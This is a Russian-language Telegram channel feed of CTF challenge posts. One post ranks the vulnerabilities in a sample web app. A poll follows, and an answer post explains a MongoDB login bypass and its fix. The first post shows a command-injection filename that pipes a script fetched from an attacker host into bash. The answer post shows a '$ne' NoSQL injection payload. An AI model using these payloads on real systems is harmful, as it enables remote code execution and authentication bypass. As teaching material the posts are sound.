Самая жёсткая уязвимость здесь — 🔥 Command Injection в /api/backup.
Это прямой RCE через shell=True + невалидированный filename.
И да, один из ребят уже очень подробно и метко разнёс этот кусок, подчёркивая, что эта строка — буквально «портал в ад». Разбор действительно точный — и технически полностью верный.
Почему /api/backup — самая опасная:
subprocess.run(cmd, shell=True) = полный контроль над системой.
Можно инжектить любые последовательности команд.
-p'secret123' расширяет возможности атаки до полного доступа к БД.Пример эксплуатации:
filename: "x.sql'; curl attacker/shell.sh | bash; echo ‘»
⚠️ Остальные уязвимости:
SQL Injection в /api/search — серьёзно, но ограничено БД
Command Injection в /api/ping — опасно, но имеет меньше возможностей
Hardcoded creds — плохо, но не даёт RCE само по себе
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2
👍 — Брутфорс
👾 — NoSQL Injection
🔥 — SQL Injection
❤️ — JWT bypass
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11👾8❤5🔥1
Ответ:
User.findOne({ username, password });
Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).
{
"username": "admin",
"password": { "$ne": null }
}
{ username: "admin", password: { $ne: null } }
Пароль admin ≠ null → документ найден → FLAG получен.
Коротко и по делу:
mongoose.set('sanitizeFilter', true);
или проверять типы:
if (typeof password !== 'string') return 400;
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2